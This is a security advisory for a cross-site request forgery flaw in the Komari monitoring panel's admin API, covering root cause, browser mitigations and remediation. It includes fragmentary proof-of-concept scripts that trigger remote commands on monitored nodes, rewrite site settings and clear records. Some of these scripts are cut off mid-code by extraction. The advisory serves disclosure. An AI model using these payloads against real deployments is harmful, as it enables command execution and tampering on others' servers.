GHSA-hxjg-93wc-h8p8

Komari: Management Interface CSRF

Published

2026-09-09

Modified

2026-09-09

Sources

github-advisory

Summary

# Vulnerability Overview The `session_token` cookie is set **without** the `SameSite` or `Secure` attributes (`login.go:68`). All `/api/admin/` management endpoints rely solely on this cookie for authentication, with **no CSRF token or Origin validation**. **The server-side vulnerability is confirmed to exist; however, exploitation via cross-site requests is mitigated in modern browsers by the default `SameSite=Lax` behavior.** ## Root Cause ```go // komari-main/api/public/login.go:68 c.SetCookie("session_token", session, 2592000, "/", "", false, true) // Secure=false, SameSite not explicitly set // Admin route group (server.go:213-343) has no CSRF middleware ``` Gin's `ShouldBindJSON` does not strictly validate the `Content-Type` header, allowing `text/plain` requests to bypass CORS preflight. ## Browser Limitations - Chrome 80+ (Feb 2020), Firefox 103+ (Jul 2022), and Safari all default unspecified cookies to `SameSite=Lax`. - Cookies without an explicit `SameSite` attribute **are not included in cross-site POST requests**. - As a result, the server receives requests without the session cookie and returns **HTTP 401 Unauthorized**. | Scenario | Exploitable | |----------|-------------| | Cross-site HTML (modern browsers) | ✗ Blocked by `SameSite=Lax` | | Cross-site HTML (Chrome Loading... document.getElementById('f').submit(); ``` ## PoC 2 — Remote Command Execution ```html Loading... var KOMARI = "https://komari.example.com"; var CMD = "id && hostname && whoami"; fetch(KOMARI + "/api/admin/client/list", { credentials: "include" }) .then(function(r){ return r.json(); }) .then(function(data){ var nodes = data.data || []; var uuids = []; for (var i = 0; i ``` ## PoC 3 — Modify System Configuration ```html Loading... var KOMARI = "https://komari.example.com"; fetch(KOMARI + "/api/admin/settings/", { method: "POST", credentials: "include", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ "site_name": "Pwned", "custom_head": " " }) }); ``` ## PoC 4 — Clear All Monitoring Records ```html Loading... <iframe name="sink" style=

Affected packages

Remediation: Upgrade to 0.0.0-20260609084633-98122fa4d110 or later.

References

• https://github.com/advisories/GHSA-hxjg-93wc-h8p8